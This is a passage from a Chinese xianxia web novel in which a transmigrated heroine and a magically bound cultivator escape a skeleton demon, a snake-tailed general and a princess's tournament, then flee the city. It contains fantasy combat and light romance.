另有一道雪白电光炸开,正正炸上了触手。
触手明显晃了晃,差点解体。它立起身子,转头闪电般袭向霜天晓。
霜天晓手指不停,再度丢出游龙般的电光,同触手缠斗。
楚江蓠攥紧剑柄,低下身,躲在霜天晓的雷击后面,暗暗喘息。
满堂电光明明灭灭,霜天晓渐渐灵力不支,电光闪烁着不再劈下。
他单膝跪地,额头满是汗水,低着头偷偷念咒。
骷髅直等到他再劈不
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出雷电,才缓步上前:“你的灵力还够结雷阵吗?别挣扎了,等你升了元婴再炼化,做我的傀儡替身,怎么样?”
“咔哒!”
楚江蓠举起桃木剑,趁着骷髅不备,一剑穿过骷髅的胸膛。
骷髅雪白的肋骨丝丝裂开。
他低头看向桃木剑,剑身上的金色流光在他肋骨间飞转,“砰”一声,将骷髅炸得倒飞而去。
楚江蓠收回剑,掌心压着一片黑色石片,啐了一声:“我这剑上还有雷阵呢!”
正是那石片提供源源不断的灵力,开启了桃木剑柄处的小型九天阳雷阵。
她冷冷盯着骷髅,斥责得兴起,没注意在昏暗的角落里,霜天晓指尖微光一闪,酒楼上空随即炸响一道惊雷,劈碎了酒楼大门。
“咚!”大门碎屑纷纷,楼内众人皆看向门口。
门外清透的天光中,游进来一位长着蛇尾的女人。
女人两颊生了青色的蛇鳞,目光冷冷地掠向小二:“有没有看到一个黑衣欠揍的男人,和红衣女人?”
一见女人进场,霜天晓眼瞳缩了缩,似乎有点心虚畏惧。
他收回手,不再恋战,而是拽着楚江蓠低下身子,躲进了女人的视野盲区。
在女人的逼问下,小二忽点头忽摇头,反应微妙而奇异。
女人不再看小二,而是环顾楼内,这才注意到这里比夜里的坟场还要安静。
安静得诡异。
女人环视满地横飞的血肉,眯了眯眼,幽绿的蛇尾不断甩动,声响噼啪。
骷髅爬起,丢下两根断裂的肋骨:“栗云,这是我的场子,与你无关!”
栗云眯了眯眼,凭空抽出长刀:“滥杀无辜者,斩!”
刀风破开酒楼大门,把跪了满地的妖怪吹了出去。
风声凛冽中,骷髅眼中腾起鬼火,发出阵阵冷笑:“蛇族冥顽不灵,韩家众将速来!”
笑声落地,地上的漆黑触手重新腾起,在小楼里遮天蔽日。
灰黑的阴影下,霜天晓捂着脸,借着触手的遮挡,飞出酒楼。
栗云瞥向二人,瞳孔骤缩,拧眉冷声道:“霜——?”
霜天晓脚下光阵一闪,瞬间出现在喧闹的街道上。
他回望一眼酒楼,满眼鬼影幢幢,刀光缭乱,无数烟尘爆炸升天。
见状,他缩了下身子,对楚江蓠说:“那女人是个疯子!我们先逃命,换个地方吃饭。”
楚江蓠抱着桃木剑,收起黑色石片,奇异问道:“她不像滥杀无辜的人,你哪里惹了她?”
霜天晓:“修士间还能有什么矛盾?不过就是夺宝相争而已,我跟她八字不合!”
楚江蓠点头:“哦,所以她要抓你抢东西?”
只听得霜天晓理直气壮道:“要不是你绑着我,我会怕她?这鬼契约,限制得我发挥不出半成实力!”
“轰隆——”酒楼二楼的招牌炸裂,一道绿光射出。
霜天晓见状,话没说完,立刻撒开双腿,拉着楚江蓠奔逃。
身后那道绿光落地,化成了提着惨白颅骨的栗云。
她眯眼往两人逃离的方向望去,身后却奔来一大群白骨骷髅。
骷髅们举刃呼号,栗云转头瞥了它们一眼,随手抛掉颅骨,冷声道:“今天这笔账,我必亲自向妖王禀明,你们韩家上下,吾必诛之。”
颅骨落地,咕噜噜滚到骷髅们脚下。
骷髅们目眦欲裂,眼中腾起幽绿火光,却不敢动手,只能瞪向栗云。
栗云不再搭理这群骷髅,直接甩尾,追向楚江蓠他们。
楚江蓠跟着霜天晓不停在人群中飞跃,颠簸得只想吐。
头晕目眩中,她紧攥着桃木剑,回忆刚才的情况来转移注意。
脑海中核心在缓慢旋转,她感受到了孕育的力量。
就好像只要她想,她就可以把脑海中的知识化成实体……
实体化?
应该不能凭空创造物质。
她回望坍塌的酒楼,只见楼外阴暗的角落里,一株桃树枝干断裂,留下一地落花。
果然如此……
只要有素材和知识,她就可以利用脑海里的核心,模拟出她想要的东西。
如果这样的话,是不是意味着,她其实可以完全凭意识控制这个核心?
她尝试了一下,回忆当初的感觉,调动脑海核心的力量。
心中默念:男人离我远点!
“轰——”
一直被黏住的手忽然分开,左手一松,身旁的霜天晓瞬间被弹上一座高台。
高台上,一道光链延伸而至,仍连在两人的手腕间。
她晃了晃手腕,光链甩出道道波浪,带动着台上的霜天晓直晃。
台上两个正在打架的妖怪停下动作,一个石怪拍了拍霜天晓的肩:“哥们,正比武呢,你也来?”
霜天晓还没回答,便被她扯得连连晃动,活像是在点头同意。
唔……这也可以?
围着高台的妖怪们摔下筹码,仰头看着突然出现的霜天晓,高声叫座:“好好好!”
4. 特殊的奖励
楚江蓠拉扯光链,试验着两人分开之后,她还能有多大的掌控力。
高台之上,霜天晓连连摇晃身体。
这光链仍然死死绑定,分不开。
一位头戴毡帽,穿着橘红色外袍的大汉翻上高台,探头询问霜天晓:“再确认一次,这位修士,您也要参与本局比试对吧?”
霜天晓瞪大了眼,刚要拒绝,就看见栗云在台下游曳,却被一圈维护秩序的守卫挡住。
这群守卫个个面目狰狞,手持长枪,枪尖闪烁着橙黄色的灵光。
只看这灵光,就知晓他们的修为至少也在金丹期左右,都是高阶守卫。
霜天晓指着栗云,憋回一口气,笑着对台上大汉点头:“是不是只要我留在台上,就没人能带走我?”
一旁的石怪大笑:“哥们,那你也得有本事留下来才行。”
大汉一拍手,做出大鹏展翅的动作:“抚远长公主的比武台,我看谁敢造次!”
抚远长公主?
楚江蓠眉梢微挑,这不是原著里的妖族第一美人吗?
剧情中,这位长公主智武双全、有财有权,和男主霜天晓纠缠不休。是妖族解语花,妖王的亲妹妹,也是全文颜值天花板。
她瞥了眼栗云,对方围着守卫绕圈,似乎想越过守卫又忌惮于长公主的权势。
略微放心了一些,楚江蓠扯了扯光链,示意霜天晓趁这间隙,逃出生天。
霜天晓摆手起势,对台上的对手说:“来吧!本天才必将战到最后。”
台下栗云高叫:“台上的,把那个欠揍的男的给我绑下来!”
大汉这才注意到栗云,连忙弯腰笑道:“栗将军!您也来观摩比武吗?这是我们刚加入的新选手,还请您品鉴一下实力。”
栗云冷脸:“品你个肺!他偷了吾王的至宝,快点给我把人拖下来,晚了你们长公主也兜不住。”
大汉闻言擦了擦脑门的汗,看了眼霜天晓,又看了眼左侧的竹楼。
夕阳残照,竹楼窗口垂着金银的珠帘,帘后透出一点朦胧人影,随晚风摇曳。
大汉见楼内没啥动静,又低下身对栗云道:“栗将军,我们公主有令,任何人不可打扰比武。您与这位的矛盾,还请结束后再算。”
栗云吐了吐蛇信,发出一阵危险的嘶嘶声,脸上蛇鳞更甚,她眯着眼望向一旁的竹楼。
栗云微微躬身:“问长公主安!”
竹楼的金银珠帘撩起,一颗翠里流金的珍珠射向栗云,最终停在她面前。
栗云伸手接过珍珠,微一抛起,一发弹指,珍珠射回珠帘。
她冷声道:“吾奉王命,捉拿窃贼乃分内之事,不敢受赏。”
说罢,栗云抱着手臂,盯着台上的霜天晓,再无多余动作。
看起来确实是不打算现在就动手,准备等比武结束再来抓两人了。
大汉见状,冲着栗云拜了拜,才敲锣高呼:“本局比试开始,一柱香内,在台上留到最后者为胜!”
楚江蓠举目四望,思考如何在一柱香后,逃出栗云的掌心。
身旁围着一群妖怪,他们兴高采烈地猜着究竟谁能站到最后。
伴随着叫嚷争执,一颗颗灵石落进赌盘,脆响叮当。
楚江蓠看着赌盘里,霜天晓的头像下空荡荡的,她摸了摸戒指,掏出一袋子灵石丢下去。
一边倒的赌盘瞬间被压平,庄主惊讶地望向她:“小姑娘,这么大手笔?投错了吧,别赔得回家哭鼻子。”
楚江蓠笑着摇了摇头:“就赌他,必胜。”
庄主讥嘲地笑,忙笼住她的钱袋,没有拒绝送钱上门的道理。
楚江蓠眯了下眼,对盘里的投注了然于胸,四下望去。
经过她观察,附近修为最高的,除了台上几个选手,就剩守卫了。
或许可以同守卫绑定契约,驱策他们挡住栗云,留出逃跑的时机。
她从戒指里掏出尖锐的金簪,忽有一道金色罡风吹过她的脸,吹得几个守卫猛地踉跄两步。
好奇怪的罡风,让守卫们全都警惕起来。楚江蓠迅速将金簪藏回衣袖,回头望去。
只见高台上,不断有金色闪电劈落,霜天晓独自站立,脚下躺了一群哀嚎的妖怪选手。
果然如他所说,他的实力不容小觑。
黏手的契约一放开,他就能远远地吹得几个同为金丹期的守卫站立不稳,而且看起来那么轻松,估计连一半的实力都没发挥出来。
果然是半脚元婴的金丹期巅峰实力……
而且感觉不止,他身上应当还有其他底牌。
楚江蓠拂开乱发,看见霜天晓向自己用力挥了挥手。
她身旁的庄家哀嚎:“这什么人啊?!怎么能三招清场!”
庄家怀里灵石亮晶晶的,堆成了小山,是她的战利品。
她暂没法同守卫绑定契约,便蹲下身,取自己赢来的灵石。
庄家抱着灵石不肯撒手,抹着眼泪,试图赶走她。
她递出一块手帕,让庄家擦擦眼泪,淡淡道:“别哭鼻子了。”
庄家的眼泪依旧啪嗒啪嗒,死死抱着灵石小山。
楚江蓠一脸真挚:“你想想看,这是好事啊。我赢下这么多灵石,明天所有妖都想来你这里赚波大的。还愁不财源滚滚?”
庄家顿住,止了哭泣。
楚江蓠笑意盈然,点头:“这正是宣传你生意的大好机会!灵石是向财神投石问路,投波大的,赚更大的。”
在她三言两语地忽悠下,庄家变得满面红光,直将灵石塞她怀里,连声赞叹:“太有道理了,您就是我的活财神!”
话音刚落,庄家忽然拽倒了她:“财神小心!”
冷风从她头顶掠过,她追望过去,一柱香的时间未到,栗云已跳上高台。
霜天晓刚接过奖励,还没举起,栗云就砍来一刀。
他后跳躲避,结阵放出一道金色雷电,挡住了栗云的攻势。
守卫们立马追上高台。栗云脸色生冷,仍未停手,一群人在台上打成一团。
霜天晓趁机跳下台,拉起楚江蓠的手腕就要离开。
身后栗云挥刃,刀风呼啸砍来。
霜天晓立刻起阵,刀光最终叮咚一声,砍上他的阵法光幕。
裁判小跑过来,挡在两人面前,连向栗云作揖:“将军抱歉,长公主要见他。”
栗云盯着裁判,手中大刀泛起绿光,阴森森的。
裁判慌忙解释:“您知道的,长公主很看重这次比武的结果……王上那边,她会去解释。”
栗云吐了吐蛇信,沉默了半天,才收回刀。
霜天晓脚步跳跃,得意地从栗云面前走过,带着楚江蓠上了那栋小竹楼。
小楼帘栊低垂,上楼时,有几位白衣侍女拦住了她。
侍女:“抱歉,这位姑娘不适合上去,还请在这里等待。”
霜天晓拽着她手腕继续上楼:“我是来会谈的,不是来参见的。”
侍女还待再拦,霜天晓晃了晃手腕的光链,弯眸笑道:“合不合适我说了算。
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”
楼上雪白的帘幔掀开,一道优美柔软的女声传来:“让他们一起上来吧。”
楚江蓠走进去,预想中的层层纱幔并未出现。室内清明简洁,夕辉泼洒而下,一位白衣女子斜靠在软塌上,手捧书卷,焚香煮茶。
女子卷着书页阅读,未曾看他们,随意地挥手:“你们坐吧。”
楚江蓠顺势坐下,侍女端来热茶与茶点,茶香轻盈,如云似烟。她轻嗅了一下茶香,便搁下茶碗,仔细打量起面前的女子。
女子脸上洒了日暮的细碎光影,像是镀了层碎金,唇角弯起时便瞬间点亮了一簇火星。
极美的一张脸,注意力却全在书卷上,半天未曾搭理两人。
这便应该是长公主了。楚江蓠抿了抿唇,不曾打扰长公主,捻了一块茶点入肚。
饥肠顿时得到了食物的补充,她感觉踏实了许多。
日光流逝,星辉皎洁。
霜天晓无聊地四处张望,却没出声打断,抱臂等着长公主结束。
一卷读完,长公主才收起书卷,抬眸看向他们。
几丝额发飘过长公主漆黑的眸子,像是云层飘过,铺展出一汪盛满月光的湖泊。
楚江蓠晃了下神。
长公主沉静的目光飘过楚江蓠,落在坐姿随意的霜天晓身上,开口询问:“这位修士叫什么名字?”
霜天晓漫不经心笑道:“你看的那卷书叫什么?”
长公主:“《法阵通鉴》,你也想看?”
霜天晓:“那倒不用,我本就是阵修,只是好奇你看这做什么,又用不上。”
用不上?
楚江蓠侧头望向霜天晓,觉得他这话颇为奇怪,扯了扯光链。
霜天晓反扯了一下,瞪了她一眼。
对上她盈满求知欲的双眸,他又放松了表情,轻声解释道:“我们修士选定了修炼道路后,每次升级会从灵台中获得天赐,学会本途径更高深的知识。她不是阵修,无法获得阵法知识的天赐,看了书也用不出。”
楚江蓠心口突兀一跳,像是一团火焰,烧得她鼻尖都冒了汗。
她掩下心中的激动与惊异,意识到自己现在就像是这个世界的一个巨大bug。
她作为无灵根的凡人,可以通过绑定修士,获取不可传播的天赐知识。
原来这些知识这么珍贵,若是能组合在一起,或许会异常强大。
长公主倚着靠背,视线轻飘飘地掠过两人,颇为闲适对霜天晓道:“你是胜者,想要点什么奖励?”
霜天晓:“有什么奖励啊?”
长公主微笑:“做我的面首。”
霜天晓“蹭”地站起身,面红耳赤:“不可能!”
他脑海中低沉提示再起:【检测到金手指副本即将触发,答应她。】
霜天晓:“答应个鬼!想都别想!”
空荡的四周忽然出现一群冷脸护卫,围着两人拔刀,压迫感十足。
护卫的刀随时会砍死两人,楚江蓠转了转戒指,只觉自己现在还是太弱了一些,在这个修仙界里,几乎没有自保的手段。
长公主淡淡道:“我今天比武招亲,你不知道吗?”
霜天晓浑身颤着,拉起楚江蓠,脚步一跺就要结阵传送离开。
脚下金色光阵闪烁了一下,复杂符文还没完全呈现,就像被风吹灭的打火机,火焰消失无踪。
霜天晓表情僵住,他的逃跑绝招失效了。
长公主掩笑,摇了摇手中的书页:“知己知彼,谁说没用?”
5. 绚烂的火光
一切阵法在小竹楼里都失效了,作为阵修的霜天晓像是被拔去了爪牙的老虎。
他盯着长公主手中那卷书,问:“你嵌了屏蔽法术的阵法?”
长公主笑意盈盈:“我养的面首上百人,修为高的比比皆是,委屈不了你。”
霜天晓脸色愈发难看,猛然间出手,去夺对方手里的那卷书。
长公主卷起书卷,弹开了他,人迅速飞远。四周的守卫提刀砍来。
刀光剑影中,他猛地推开楚江蓠,移动脚步,凭空拔出一柄灵剑格挡。
剑身出鞘,发出一声凤鸣。
斜靠在塌的长公主侧头,面上微露疑惑,低声道:“剑?剑阵双修?”
“当”一声,刀剑相撞,金属声在竹楼回荡。
刀剑各自分开,荡出一段冷色流光,霜天晓趁机单手结印。
指尖光芒闪烁,他以掌按地,掌心光芒流进竹楼,低念一声:“万法,破!”
这是可以破开一切封闭的阵法,但他指尖闪了又闪,阵法仍然失败了。
刀剑纷飞,霜天晓旋身踏刃。守卫刃尖一翻,砍上了他的手臂。
手臂再添新伤,鲜血迸出金光,他痛呼一声,落地翻滚。
他身后追砍来纷纷刀剑,刀剑触地,留下一道道漆黑裂缝。
裂缝参差的豁口上,霜天晓踢腿蹬开刀锋,刚要爬起,脖颈后忽然架上了另一柄长刀。
刀刃反压,将他压倒在地。
楚江蓠躲在一旁,一看情况不对,她直接扑去掀窗口珠帘,准备破窗而逃。
窗口的金银珠玉相撞,玲琅声响中,一只钢铁般的手掐紧了她的脖颈。
一个白衣守卫这才注意到她,直接掐着她,拖回场内。
她紧抓着脖颈上的的手,呼吸困难,不停踢蹬双脚,竹楼地板被踩出空荡的回音。
守卫冷冷地瞥了她一眼,只觉她看起来不起眼,挣扎的力气还不小。
为免麻烦,守卫直接掐着她脖子,举起了她。
楚江蓠被守卫掐着腾空而起,悬空的双脚再踩不到地板,努力挣扎却无处借力,只能像溺水般无能为力。
这一刻,她觉得自己像极了先前酒楼大堂里将死的舞姬。
是同样的命运循环,而她不见得能像舞姬般幸运,会有人救她。
守卫脸色冷硬道:“公主,还有个凡人。”
长公主靠着软塌,书卷抵额,淡淡道:“扔一边吧,不必管她。”
守卫掐起楚江蓠,丢在一旁。
楚江蓠的头磕在香炉旁,疼痛瞬间如烟花般炸开。
幽香盈盈中,她咬唇哼了一声,忍下骨裂般的疼痛。
一种痛苦的共鸣席卷心头,她勉强爬起,看着霜天晓被按倒在地,守卫们正在捆绑他的手脚。
在这些修士眼中,她连上桌的权力也没有,只能被这样随地丢下,没人会管她的手脚需不需要被捆住。
这是歧视,也是好事。
她可以借他们对她的不屑破局。
楚江蓠扶着桌案站起,远远望向长公主。
就在刚刚的将死之时,她已经想明白为什么这栋小竹楼里用不了阵法,并推测出怎么解决了。
但长公主连眼神都没给她一个,似乎认定她一个凡人在强大的修士面前,翻不出什么浪花。
楚江蓠闭眼,抚摸着桃木剑,手中金簪刮下了一层层木屑。
大脑高速运转,脑海核心放缩着,吞入储物戒指中的矿盐,孕育出一些银白色的轻金属。
她面上也露出对修士不屑一顾的神色。
浑身的疼痛如寒风在骨缝中乱窜,她却杵着桃木剑,笃定地对长公主道:“你要的不是面首。”
长公主掀开眼帘,瞥了她一眼,似笑非笑:“哦?”
楚江蓠:“你要的是强大的修士,以比武招亲掩人耳目,招兵买马。”
长公主不置可否,斜靠了回去,抬了抬手。
守卫猛地按上楚江蓠的肩,试图迫使她跪下。
楚江蓠低笑一声,侧头道:“再强的武士,也敌不过纵横捭阖的军师。你空有一室藏书,满腹野心,却缺了智谋,真替你可惜。”
长公主坐起身,似乎对她有了些兴趣,托腮问道:“军师?你?”
楚江蓠高深莫测道:“公主如今最需要的信息,是妖族内外究竟有多少金丹期以上的高手吧?”
长公主:“有意思,你知道?”
楚江蓠:“你设下比武招亲掩人耳目,网罗高手。可惜高手网罗不尽,你对妖王的实力仍旧不够清楚。”
长公主没出声。
楚江蓠睁开眼,目光灼灼:“我知道了,妖族金丹期以上的高手约占百分之三,本城内约有两百多人。”
长公主脸上淡淡的笑意凝固,正色道:“两百六十三人。”
楚江蓠微微一笑,运气不错,她算的意外得准。她干脆坐在地上,手中木屑堆在香炉旁。
她掩着木屑,云淡风轻地看着长公主:“想知道我怎么算出来的吗?”
楚江蓠掀开香炉,扇了扇风,空气中的香气更浓郁了,带着淡淡的呛鼻烟气。
楚江蓠:“很简单,看酒楼。记我路过了几家酒楼,估计每家有多少人吃饭,对比街道人流量,得出全城人口数。”
“更简单有趣的是,你们酒楼分等级入座,我只需看楼内的入座情况,与楼下旁观比武的人数相比取平均,就知道金丹期高手在人口中的比例了。”
“有人口,有比例,得出金丹期高手有多少人,并不难。”
“你们全妖域,给我一点时间取样本,我一样可以估算,甚至可以算出十大职业各有多少人口。虽不精确,胜在数量区间不会出错。”
长公主搁下书卷,问道:“当真?”
楚江蓠点头:“需要公主给我们提供点资助,你也知道,这种活干起来,调动的资源不小。当然,不会惊动妖王。”
“公主宁愿当着栗云的面违逆妖王,也要留下我身边这位阵修,手上是缺阵修吧?”
长公主微微点头,示意守卫解开霜天晓:“我们可以歃血为盟,签订契约,从此你二人为我所用。”
楚江蓠抓起木屑丢进香炉,微微一笑:“那就不必了。”
木屑易燃,香炉瞬间腾起火光。
她往火光里丢进孕育出的轻金属,火焰瞬间窜得老高,变成炫目的雪白色。
长公主惊得站起,守卫立马冲上来按住楚江蓠,泼水浇火。
楚江蓠趴在地上,抬眉看着守卫挥刀,刀刃涌出清澈的水流,灌入火焰。
火焰膨地炸开,滚烫的火星四溅,燎伤了灭火的守卫。
火焰爆燃得愈发激烈,中心流淌出数川星河,映亮楚江蓠的脸。
绚烂火光中,她轻轻一笑。
活泼的轻金属点燃后会和水发生反应,水浇不灭,只会爆炸。
手腕光链一缩,霜天晓猛地扑过来,扑得她远离爆炸范围。
爆炸的火星溅落在他背上,他闷哼一声,身体蜷曲着颤抖,被爬起的守卫按紧在地。
楚江蓠拔出金簪,一咬牙,猛力扎上按着两人的守卫,鲜血溅上她的脸。
守卫瞬间缩手,放开了两人。
守卫的血滴落在她手腕上,楚江蓠浑身轻颤着,视野被鲜红的血遮蔽。
血,好厚的血。
这是她第一次见到这么
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多的血,几乎被浓郁的铁锈味掩埋,心底的慌乱恐惧在滚烫跳动,一阵阵干呕反上喉头。
但脑海的核心没给她平缓的机会,直接在鲜血中极速旋转。
她一阵眩晕,脑中流过一道念头。
是否要签订主仆契约?
她抱紧头,咬唇同意。
守卫手腕处瞬间弹射出一道光链,光链直接捆上她的手腕。
潮水般的丹药知识随即涌入楚江蓠的脑海,带来炸裂般的痛。
楚江蓠用力甩了甩头,踹开守卫,举起桃木剑,强行在洪水般的知识念头里,运转脑海核心。
核心闪过金光,桃木剑倏忽变形成炮筒的模样。
知识潮水反涌,激荡成惊涛骇浪,胡乱拍打着她的大脑。
她晃了晃头,铲起爆炸的火光,对着竹楼地板一轰。
“砰——”竹楼摇晃,地板轰出一道缺口。
后坐力震得她手臂肌肉颤抖不停,眼前一花,摔进一道满是鲜血的温暖臂弯。
楚江蓠抓紧霜天晓手臂,虚弱却急切地说道:“开阵,对着缺口。”
霜天晓手指结印,指向缺口。
漆黑缺口处射出数道金光,一片复杂法阵旋转展开,霜天晓扶着她跳进法阵。
光影一闪,两人落入了一道狭窄的巷子。
楚江蓠紧绷的神经放松下来,终于有时间接收澎湃的丹药知识。
脑海几乎要被这些知识挤爆,她蹲在地上,双拳敲打着疼痛的额头,碎裂的桃木炮筒滚落在地。
夜幕下,远处小竹楼烧出滚滚浓烟,数位修士钻出竹楼,向他们追踪而来,瞬间就拉近了同他们之间的距离。
霜天晓看了眼她。
她脸上溅满了血,五官皱成痛苦的神色,正在抱头闷哼。
顺手向她丢出一道清明咒,霜天晓抬头望向追来的修士,冷下脸,眼瞳中旋转起金光法阵,黑色长发翻飞。
他双手快速结印,手腕流出的鲜血落地,地面开出一朵朵艳丽的花。
一片强大的力场向四周漫开,偏偏轻柔地绕开了楚江蓠。
涌进来的丹药知识吸收完毕,她抬眼,看见霜天晓额心分开一道金光,一条金龙腾飞而出。
金龙甩尾,飞至竹楼上空盘旋。
“九五,飞龙在天!”霜天晓反手一推。
“轰隆——”金龙冲入小楼,炫目光影炸开一串电光,小竹楼瞬间被火海淹没。
火海映亮了半边夜空,竹楼坍塌成一片灰烬,滚滚黑烟扶摇直上。
聚在小楼周围的群妖立刻陷入混乱之中,哭喊尖叫的,救人救火的,还有留影纪念的……
追踪的修士从四面八方赶向小楼,扶出了一群狼狈的人。
声东击西地引走了追踪的敌人,霜天晓隔衣拽上楚江蓠,捡起炮筒,几步跳跃,踩着墨色屋顶,跳上高翘的檐角。
他一个翻身,就带着她越过几条街道。
“嗖——”远处飞射来数根箭矢。
一根长箭撕破楚江蓠的黄色裙角,深深没入屋顶的异兽石像,将她定在屋顶上,动都动不了。
她急切回头,只见石像碎片落地,剑光一闪,霜天晓挥剑斩断裙角。
楚江蓠拽起碍事的裙角,四周射来无数的破空声,箭雨纷纷。
她瞳孔骤缩,在即将被射成筛子前的一瞬,一面光幕当空浮现,挡住了密雨般的“叮当”箭矢。
霜天晓双手结印,单膝跪地,星辉在他身上流转。
金色法阵瞬间展开。
接着他打横抱起她,跳上光阵,御阵飞走。
浓郁的血腥气涌进鼻子,她心头一跳,攥紧了霜天晓的领口,偏开了头。
6. 铜城的连弩
夜风抚过两人,摊贩、马厩、楼台……万家灯火被他们飞速甩在身后。
望着脚下整座城的喧闹,楚江蓠的心头涌过浓烈的快意。
她先前推测出长公主手中缺阵修,也自然知道对方根本没能力嵌套什么复杂的封闭型阵法。
霜天晓的阵法会失效,是因为竹楼内存在一个简单的“法拉第笼”,隔绝了阵法的灵力流。
只从破阵的角度出发,自然怎么都解决不了问题。其实破坏小竹楼就行了。
最终,一切都如她所料,他们成功从那可怕的女人手中逃出来了。
而且还成功利用脑海核心搞出了炮筒的原型,这样看来,之后想做点现代化的防身武器,也是可以实现的。
唯一超出她预料的是,这个长公主和原著里的风格很不一样……
风云从眼前流逝,星光追逐着身下的阴影,楚江蓠在隐隐担忧中绕过望楼。
望楼里眺望的妖兵瞪大了眼,看着一男一女踩着金色光阵,从眼前飞过。
妖兵扑向烽火台,猛地一拉机关麻绳。
高台上,一团烈焰腾空而起,滚滚浓烟直上云霄,妖兵举起法器扩音:“人修放火!!警戒备战!!”
妖兵的警报声落在身后,楚江蓠两人飞入她曾开好的酒楼房间里。
酒楼已收拾完尸体,又恢复了热闹。
朱红酒旗随风飘荡,两人合上窗,室内一片昏暗。
霜天晓身上遍布细密伤口,他背对着楚江蓠解开上衫,露出结实流畅的手臂。
手臂一道裂口横亘而下,翻开鲜红的血肉。
他咬紧牙关,往伤口洒药包扎,刺痛袭来,如同伤口撒盐般,痛得他溢出几声低吟。
楚江蓠闻声转身,不容拒绝道:“我来。”
眼前闪过一片红,她心头一跳,抓起霜天晓的上衫,直接掀开。
一大片血色水泡映入眼帘,她倒吸了口气。
是她点爆香炉时,他将她飞扑在身下,火星落满他后背,留下的血肉模糊的伤。
她伸手抚上那些伤口,手指将触未触,她咬牙,干脆利落地推倒他。
冷风滚上后背,霜天晓哆嗦了一下,直接被人按趴在地。
他难以预料地懵了一瞬,只感觉有一簇簇火苗在背上跳跃,灼痛一点点铺散开,漫成温热的泉流。
是她清凉指腹抚过后背的触感。
他颤抖着,抓紧楚江蓠的手臂,拽得她倾身而下。
一阵风卷起浮尘,他看见她漆黑的眼瞳微微放大。
目光交汇,四周的血腥气如一根红线,缠起目光,收紧相融。
他瞬间僵在原地,发尾摇动着,炸毛般急问:“你做什么?”
脑袋被她拍了拍,像是雨滴打落青草,轻痒。
他听见她轻声哄了句:“别怕,你背上烫出了很多水泡,给你上药。”
霜天晓不知为何,顺着她的话放松下来,伏在地上,等她上药。
楚江蓠低头,挖出雪白的药膏,小心地敷上他的伤口,视线下意识飘向他颤抖的肩。
没听见预想的痛呼声,他在安静地呼吸。
这人平日聒噪,受了伤反而沉静下来。
她低头吹了吹药膏,留下一段清清凉凉的风。
清风抚过,他俯下身,头埋进手臂里,掩住微红泛热的眼眶,一声不吭。
药膏上完,一感受到她的气息远离,霜天晓直接推开她,拽过上衫,急忙低头穿起来。
他生怕自己有半分走光,嘴里却忽然被塞进了一丝甜意,是糖块。
他齿尖颤抖着,试了几次,都咬不开糖块,嘴里只落下几点甜甜的碎渣,他胡乱咽了下去。
喉腔滚过糖渣刺激,霜天晓被甜意呛得不停咳嗽起来,咳得眼角泛起泪花。
“咚咚咚——”房门被人敲响,小二洪钟般的声音传来。
“喂,外面在抓人,你们两个是不是回来了?”
敲门声突然响起,楚江蓠心头猛地一跳。
她同霜天晓对视了一眼,只见他面色苍白,额头带汗,唇角沾着一点鲜红的血。是给他上药时,他忍痛咬破了唇。
他却不顾伤痛,起身将她拉到身后,凭空握了握拳,似乎在保持握剑的手感。
他的配剑由灵光构成,平日都被藏在虚空中,无人知晓。到使用时,又可以凭空抽出,出其不意。
敲门声再度响起,他拉开门,右手凭空一抽,伴着凤鸣般的灵剑出鞘声,一柄长剑搭上了门外小二的脖颈。
剑身修长,上面刻画的纹路隐隐有火焰流转,剑柄红穗轻轻摇动,尾端坠着一片薄薄的白玉。
霜天晓握着剑柄,有种轻松写意的感觉,似乎随时可以划破剑下的动脉,让对方鲜血喷溅至死。
他竖起食指抵上唇,嘘了一声,冰冷眼神坠向小二。
小二露出极为惊恐的表情,迅速闭紧了嘴,连连摆手示意自己温和无害。
霜天晓下颌微微一扬,挑起剑刃。
刃尖推得小二走进房间。
房门一关,霜天晓单手结印:“静笃阵,开!”
窗外虫鸣消失了,一道寂静无声的领域笼罩了这个房间。
这是一个隔绝声音的阵法,阵内阵外互相听不见。
霜天晓收剑抱臂,倚门挡住了小二的逃跑路线。
至此,楚江蓠才松了口气,问小二:“现在外面是什么情况?”
“你们干了啥啊?整座城都在抓你俩呢。”小二挥着薄翼,在里衣的夹层里掏了半天,掏出两颗灵石,脸上一副不舍的表情。
楚江蓠认出,这就是她之前交给小二的灵石。
小二猛地闭紧眼,大手一挥,将灵石塞回她手里。
楚江接过灵石:“退款?是要我们退房吗?”
小二诚挚道:“快收好吧!你们为救阿芜惹了大人物,兕姐担心你们,在外面拦着巡逻队呢,这里不能久待。”
不能久待?
楚江蓠推开一条窗缝,只见楼下两列黑甲巡逻队正挨家挨户地搜人。一只犀牛堵在巡逻队前面打滚,试图挡住他们的步伐。
酒楼是不能再留了,但在全城搜索的情况下,他们还能躲到哪里去?
楚江蓠和霜天晓对视一眼,一致认为安全起见,他们需要赶快离开这座城。
只是,路上都是巡逻队,他们怎么离开?
楚江蓠问霜天晓:“你还能开传送阵吗?”
霜天晓摇头:“单人传送阵的施法距离有限,至少要三个人一起开阵,才能送我们出城。”
小二:“趁还没封城,去城际传送点吧,就是贵了点。”
霜天晓抿唇询问:“这里有直达长衡山的点阵吗?”
小二点头:“当然!我们可是人妖边境第一城!是断云山脉唯一走廊!人修往来,谁不从我们瞿水城走?”
长衡山是北方第一仙门,和南方的无妄海分庭抗礼,虽然遥远,但无人敢侵犯。
两人当即决定去遥远的长衡山。
小二递来两个牛角面具,和两身黑色外袍。
那面具可以改变他们的形象,让他们在别人眼里化成小妖怪的模样。
两人伪装好后,坐上小二找来的马车,从后门一路奔向传送点。
车轮辘辘,车厢内设有静音的阵法,看起来就像是一辆普通的马车。
楚江蓠透过车窗一点缝隙,看见一队巡逻队摆着蛇尾游曳过去。
小二急促地挥着薄翼:“哇,怎么蛇族守卫队也来了?传送那么远,得多少灵石啊?”
楚江蓠:“很贵吗?”
小二:“他们一般都守在蛇族大本营的,这么多人,这么远,贵得都没法想。”
小二突然想起什么,担忧道:“他们不会包围传送点吧。”
楚江蓠:“全城搜索的话,肯定会严查传送点,我们还有别处可去吗?”
她从车窗露出一只眼睛,一直盯着车外的情况。
夜行的妖怪们排成一条长龙,堵住了路。
前方的街道路口,两个白骨将士设了拒马障碍,正在一一检查行人。
连冷风都停了下来。
霜天晓催了声小二:“掉头,拐进那个小巷子。”
小二推开车门,敲了敲车辕。
拉车的马儿自行转道,加速拐入小巷,晃得车里的人猛地撞上车厢。
远处的白骨士兵望了过来。
小二合上门,不安地问:“拐去我家行吗?最近那边有点乱,没人管。”
楚江蓠抿了抿唇,没回答。
不是不信任小二,毕竟是半道相识,
